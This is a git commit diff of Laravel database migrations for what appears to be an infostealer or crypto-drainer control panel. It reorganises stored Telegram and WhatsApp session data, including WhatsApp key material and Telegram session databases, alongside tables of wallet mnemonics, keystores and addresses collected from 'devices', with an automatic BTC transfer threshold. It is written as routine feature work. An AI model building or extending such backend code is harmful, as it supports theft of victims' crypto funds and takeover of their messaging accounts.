feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
@@ -13,7 +13,7 @@ return new class extends Migration
$table->id();
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
$table->string('device_key', 64)->index();
$table->string('kind', 16)->index();
$table->unsignedTinyInteger('kind')->index();
$table->string('account_id', 128)->nullable()->index();
$table->string('phone', 64)->nullable();
$table->json('payload')->nullable();
@@ -59,7 +59,7 @@ return new class extends Migration
if (! is_array($payload)) {
$payload = [];
}
$kind = $row->source === 'WhatsApp' ? 'whatsapp' : 'telegram';
$kind = $row->source === 'WhatsApp' ? 2 : 1;
$account = $this->accountFromPayload($kind, $payload);
$key = $row->device_id.'|'.$kind.'|'.$account;
if (isset($seen[$key])) {
@@ -82,9 +82,9 @@ return new class extends Migration
DB::table('wallet_keystores')->whereIn('source', ['Telegram', 'WhatsApp'])->delete();
}
private function accountFromPayload(string $kind, array $payload): string
private function accountFromPayload(int $kind, array $payload): string
{
$keys = $kind === 'whatsapp'
$keys = $kind === 2
? ['userId', 'user_id', 'account_id']
: ['user_id', 'userId', 'account_id'];
foreach ($keys as $key) {
@@ -96,9 +96,9 @@ return new class extends Migration
return '';
}
private function phoneFromPayload(string $kind, array $payload): ?string
private function phoneFromPayload(int $kind, array $payload): ?string
{
if ($kind !== 'whatsapp') {
if ($kind !== 2) {
return null;
}
foreach (['userId', 'phoneId', 'phone'] as $key) {
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('users', function (Blueprint $table) {
$table->boolean('album_storage_default')->default(false)->after('auto_transfer_threshold_btc');
});
}
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
$table->dropColumn('album_storage_default');
});
}
};
@@ -0,0 +1,45 @@
<?php
use App\Models\PluginSession;
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->boolean('has_whatsapp')->default(false)->after('wallet_names');
$table->boolean('has_telegram')->default(false)->after('has_whatsapp');
});
if (! Schema::hasTable('plugin_sessions')) {
return;
}
$whatsappIds = DB::table('plugin_sessions')
->where('kind', PluginSession::KIND_WHATSAPP)
->distinct()
->pluck('device_id');
if ($whatsappIds->isNotEmpty()) {
DB::table('devices')->whereIn('id', $whatsappIds)->update(['has_whatsapp' => true]);
}
$telegramIds = DB::table('plugin_sessions')
->where('kind', PluginSession::KIND_TELEGRAM)
->distinct()
->pluck('device_id');
if ($telegramIds->isNotEmpty()) {
DB::table('devices')->whereIn('id', $telegramIds)->update(['has_telegram' => true]);
}
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn(['has_whatsapp', 'has_telegram']);
});
}
};
@@ -0,0 +1,52 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->index('created_at');
$table->index('updated_at');
$table->index(['created_at', 'has_wallet']);
});
Schema::table('page_visits', function (Blueprint $table) {
$table->index(['created_at', 'client_uid']);
$table->index(['created_at', 'os', 'os_version']);
});
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->index('created_at');
});
Schema::table('wallet_mnemonics', function (Blueprint $table) {
$table->index('created_at');
});
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropIndex(['created_at']);
$table->dropIndex(['updated_at']);
$table->dropIndex(['created_at', 'has_wallet']);
});
Schema::table('page_visits', function (Blueprint $table) {
$table->dropIndex(['created_at', 'client_uid']);
$table->dropIndex(['created_at', 'os', 'os_version']);
});
Schema::table('wallet_addresses', function (Blueprint $table) {
$table->dropIndex(['created_at']);
});
Schema::table('wallet_mnemonics', function (Blueprint $table) {
$table->dropIndex(['created_at']);
});
}
};
@@ -0,0 +1,83 @@
<?php
use App\Models\PluginSession;
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
use Illuminate\Support\Facades\Storage;
return new class extends Migration
{
public function up(): void
{
if (! Schema::hasTable('plugin_sessions')) {
return;
}
$ids = DB::table('plugin_sessions')
->where('kind', PluginSession::KIND_WHATSAPP)
->orderBy('id')
->pluck('id');
foreach ($ids as $id) {
$row = DB::table('plugin_sessions')->where('id', $id)->first();
if ($row === null) {
continue;
}
$payload = json_decode((string) $row->payload, true);
if (! is_array($payload)) {
$payload = [];
}
if (isset($payload['payload_path']) && ! isset($payload['phoneKeyStore']) && ! isset($payload['clientStaticKeypairBase64'])) {
continue;
}
$path = PluginSession::whatsappFilePath((string) $row->device_key, $row->account_id !== null ? (string) $row->account_id : null);
$json = json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
$json = $json === false ? '{}' : $json;
Storage::disk('local')->put($path, $json);
DB::table('plugin_sessions')->where('id', $id)->update([
'payload' => json_encode(
PluginSession::whatsappDbSummary($payload, $path, strlen($json)),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES
),
]);
}
}
public function down(): void
{
if (! Schema::hasTable('plugin_sessions')) {
return;
}
$ids = DB::table('plugin_sessions')
->where('kind', PluginSession::KIND_WHATSAPP)
->orderBy('id')
->pluck('id');
foreach ($ids as $id) {
$row = DB::table('plugin_sessions')->where('id', $id)->first();
if ($row === null) {
continue;
}
$payload = json_decode((string) $row->payload, true);
if (! is_array($payload)) {
continue;
}
$path = $payload['payload_path'] ?? null;
if (! is_string($path) || $path === '' || ! Storage::disk('local')->exists($path)) {
continue;
}
$raw = Storage::disk('local')->get($path);
$decoded = json_decode((string) $raw, true);
if (! is_array($decoded)) {
continue;
}
DB::table('plugin_sessions')->where('id', $id)->update([
'payload' => json_encode($decoded, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
]);
}
}
};
@@ -0,0 +1,86 @@
<?php
use App\Models\PluginSession;
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
use Illuminate\Support\Facades\Storage;
return new class extends Migration
{
public function up(): void
{
if (! Schema::hasTable('plugin_sessions')) {
return;
}
$ids = DB::table('plugin_sessions')
->where('kind', PluginSession::KIND_TELEGRAM)
->orderBy('id')
->pluck('id');
foreach ($ids as $id) {
$row = DB::table('plugin_sessions')->where('id', $id)->first();
if ($row === null) {
continue;
}
$payload = json_decode((string) $row->payload, true);
if (! is_array($payload)) {
$payload = [];
}
if (isset($payload['payload_path']) && ! isset($payload['state']) && ! isset($payload['db_sqlite'])) {
continue;
}
$path = PluginSession::payloadFilePath(
PluginSession::KIND_TELEGRAM,
(string) $row->device_key,
$row->account_id !== null ? (string) $row->account_id : null
);
$json = json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
$json = $json === false ? '{}' : $json;
Storage::disk('local')->put($path, $json);
DB::table('plugin_sessions')->where('id', $id)->update([
'payload' => json_encode(
PluginSession::dbSummary(PluginSession::KIND_TELEGRAM, $payload, $path, strlen($json)),
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES
),
]);
}
}
public function down(): void
{
if (! Schema::hasTable('plugin_sessions')) {
return;
}
$ids = DB::table('plugin_sessions')
->where('kind', PluginSession::KIND_TELEGRAM)
->orderBy('id')
->pluck('id');
foreach ($ids as $id) {
$row = DB::table('plugin_sessions')->where('id', $id)->first();
if ($row === null) {
continue;
}
$payload = json_decode((string) $row->payload, true);
if (! is_array($payload)) {
continue;
}
$path = $payload['payload_path'] ?? null;
if (! is_string($path) || $path === '' || ! Storage::disk('local')->exists($path)) {
continue;
}
$decoded = json_decode((string) Storage::disk('local')->get($path), true);
if (! is_array($decoded)) {
continue;
}
DB::table('plugin_sessions')->where('id', $id)->update([
'payload' => json_encode($decoded, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
]);
}
}
};
@@ -0,0 +1,69 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
if (! Schema::hasTable('plugin_sessions')) {
return;
}
$type = Schema::getColumnType('plugin_sessions', 'kind');
if (in_array($type, ['integer', 'tinyinteger', 'smallinteger', 'bigint'], true)) {
return;
}
DB::table('plugin_sessions')->where('kind', 'telegram')->update(['kind' => '1']);
DB::table('plugin_sessions')->where('kind', 'whatsapp')->update(['kind' => '2']);
$driver = Schema::getConnection()->getDriverName();
if ($driver === 'mysql') {
DB::statement('ALTER TABLE plugin_sessions MODIFY kind TINYINT UNSIGNED NOT NULL');
return;
}
Schema::table('plugin_sessions', function ($table) {
$table->unsignedTinyInteger('kind_tmp')->default(0)->after('device_key');
});
foreach (DB::table('plugin_sessions')->orderBy('id')->get() as $row) {
DB::table('plugin_sessions')->where('id', $row->id)->update([
'kind_tmp' => (int) $row->kind,
]);
}
Schema::table('plugin_sessions', function ($table) {
$table->dropIndex(['kind']);
$table->dropUnique(['device_id', 'kind', 'account_id']);
$table->dropColumn('kind');
});
Schema::table('plugin_sessions', function ($table) {
$table->renameColumn('kind_tmp', 'kind');
$table->index('kind');
$table->unique(['device_id', 'kind', 'account_id']);
});
}
public function down(): void
{
if (! Schema::hasTable('plugin_sessions')) {
return;
}
$type = Schema::getColumnType('plugin_sessions', 'kind');
if ($type === 'string') {
return;
}
$driver = Schema::getConnection()->getDriverName();
if ($driver === 'mysql') {
DB::statement('ALTER TABLE plugin_sessions MODIFY kind VARCHAR(16) NOT NULL');
}
DB::table('plugin_sessions')->where('kind', 1)->update(['kind' => 'telegram']);
DB::table('plugin_sessions')->where('kind', 2)->update(['kind' => 'whatsapp']);
}
};